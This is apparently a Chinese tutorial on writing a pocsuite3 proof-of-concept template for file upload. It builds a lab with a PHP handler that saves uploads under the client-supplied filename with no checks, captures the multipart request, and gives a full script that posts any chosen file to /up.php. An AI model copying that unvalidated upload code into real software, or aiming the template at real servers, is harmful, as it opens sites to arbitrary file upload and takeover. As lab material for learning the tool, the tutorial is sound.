pocsuite没有文件上传的模板(目前),所以就有了这篇笔记

环境搭建

index.html前端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<meta charset="utf-8">
</head>
<body>

<form action="up.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>

</body>
</html>

up.php后端

1
2
3
4
<?php
//将上传的文件移动到/tmp/目录下
move_uploaded_file($_FILES["file"]["tmp_name"],"tmp/".$_FILES["file"]["name"]);
echo 1;

抓包分析

访问index.html上传文件抓包,缩减之后的请求包如下

接口是/up.php,类型为POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /up.php HTTP/1.1
Host: 192.168.214.1
Content-Type: multipart/form-data; boundary=---------------------------423135588322743321251899132418
Content-Length: 339
Connection: close

-----------------------------423135588322743321251899132418
Content-Disposition: form-data; name="file"; filename="da.txt"
Content-Type: text/plain

123
-----------------------------423135588322743321251899132418
Content-Disposition: form-data; name="submit"

submit
-----------------------------423135588322743321251899132418--

POC&EXP编写

先使用pocsutie的-n--new新建一个模板

只需要留下_options_exploit_verify三个方法即可

_options_verify不太重要,只需要设置一个参数pth让用户指定需要上传的文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
def _options(self):
o = OrderedDict()
o['pth'] = OptString('', description='需要上传的文件路径')
return o
def _verify(self):
result = {}
param = self.get_option('pth')
res = self._exploit(param)
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url + "/up.php"
result['VerifyInfo'][param] = res
return self.parse_output(result)

关键的地方在于_exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def _exploit(self, param=''):
# 修改接口
url = self.url + '/up.php'
# 设置post的内容,键和值任意,但必须是一个字典类型
d = {'a': 'a'}
# 读取指定的文件内容
# file作为键,必须和POST请求中的一致
# php代码$_FILES["file"]["name"]读取的值是name.txt
# param是文件的路径,rb表示读取文件的二进制内容
# image/png是文件的Content-Type类型
f = {'file': ('name.txt', open(param, 'rb'), "image/png")}
# 发送请求
res = requests.post(url, files=f, data=d)
return res.text

2

最终的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pocsuite3.api import (
minimum_version_required, POCBase, register_poc, requests, logger,
OptString, OrderedDict,
random_str,
)

minimum_version_required('1.9.6')


class DemoPOC(POCBase):
vulID = '0'
version = '1'
author = ''
vulDate = '2022-09-23'
createDate = '2022-09-23'
updateDate = '2022-09-23'
references = []
name = 'Pre-Auth Other'
appPowerLink = ''
appName = ''
appVersion = ''
vulType = 'Other'
desc = 'Vulnerability description'
samples = ['']
install_requires = ['']
pocDesc = 'User manual of poc'
dork = {'zoomeye': ''}
suricata_request = ''
suricata_response = ''

def _options(self):
o = OrderedDict()
o['pth'] = OptString('', description='需要上传的文件路径')
return o

def _exploit(self, param=''):
# 修改接口
url = self.url + '/up.php'
# 设置post的内容,键和值任意,但必须是一个字典类型
d = {'a': 'a'}
# 读取指定的文件内容
# file作为键,必须和POST请求中的一致
# php代码$_FILES["file"]["name"]读取的值是name.txt
# param是文件的路径,rb表示读取文件的二进制内容
# image/png是文件的Content-Type类型
f = {'file': ('name.txt', open(param, 'rb'),"image/png")}
# 发送请求
res = requests.post(url, files=f, data=d)
return res.text

def _verify(self):
result = {}
param = self.get_option('pth')
res = self._exploit(param)
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url + "/up.php"
result['VerifyInfo'][param] = res
return self.parse_output(result)

register_poc(DemoPOC)

POC&EXP使用

-r指定脚本的名称

-u指定网址(因为代码中已经会默认添加接口,所以不需要额外的路径)

--pth自定义的参数,用来指定需要上传的文件路径

123

222

上传成功,打断点可以看到上传tt.txt后,获取到的文件名是name.txt,文件类型是image/png

333